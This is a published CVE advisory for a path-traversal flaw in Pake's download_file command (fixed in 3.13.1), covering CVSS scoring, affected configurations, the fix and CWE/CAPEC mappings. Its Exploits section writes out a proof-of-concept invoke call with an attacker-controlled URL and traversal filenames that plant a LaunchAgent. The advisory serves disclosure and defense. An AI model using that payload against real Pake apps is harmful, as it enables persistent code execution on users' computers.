CVE-2026-82635 PUBLISHED

Pake arbitrary file write via unsanitized download_file filename

Assigner: JFROG
Reserved: 30.08.2026 Published: 30.08.2026 Updated: 30.08.2026

Pake before 3.13.1 joins the JavaScript-supplied filename for the download_file Tauri command onto the user's Downloads directory with no sanitization. A filename containing path traversal sequences (for example ../Library/LaunchAgents/com.evil.plist) or an absolute path resolves outside ~/Downloads. The command then fetches attacker-controlled content from the supplied URL (via Rust HTTP, not the browser) and writes it to that path. A script that can invoke the command can overwrite user-writable files and install persistence (macOS LaunchAgents, Linux autostart, Windows Startup), leading to code execution in the user account. All desktop apps generated from an affected Pake tree expose the same command.

Metrics

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
CVSS Score: 8.8

Product Status

Vendor tw93
Product Pake
Versions Default: unaffected
  • affected from 0 to 3.13.1 (excl.)

Affected Configurations

Affects Pake-generated desktop apps built from a tree before 3.13.1. Exploitation requires the ability to call the download_file Tauri command from the webview. The 8.8 / AV:N score assumes that capability is reachable from the wrapped page (including remote origins), which is the default Pake IPC posture described in the related IPC advisory. Opening the app is the required user interaction. V3.12.0 still joins params.filename unsanitized; V3.13.1 calls sanitize_download_filename.

Exploits

A proof of concept invokes window.TAURI.core.invoke('download_file', { params: { url: '<attacker-controlled HTTP URL>', filename: '../pake_write_proof.sh' } }) and a second invoke with filename '../Library/LaunchAgents/com.pake.poc.plist'. The files appear under the user home directory, not ~/Downloads. Loading the LaunchAgent (or the next login) runs the fetched payload in the user session.

Solutions

Upgrade Pake to 3.13.1 or later and rebuild generated apps from that tree. The fix introduces sanitize_download_filename and uses only the final path segment before joining onto the Downloads directory, so ../ and absolute paths cannot escape that directory.

Credits

  • Yuval Moravchick finder
  • JFrog Security Research coordinator

References

Problem Types

  • CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') CWE

Impacts

  • CAPEC-126 Path Traversal
  • CAPEC-165 File Manipulation
  • CAPEC-17 Using Malicious Files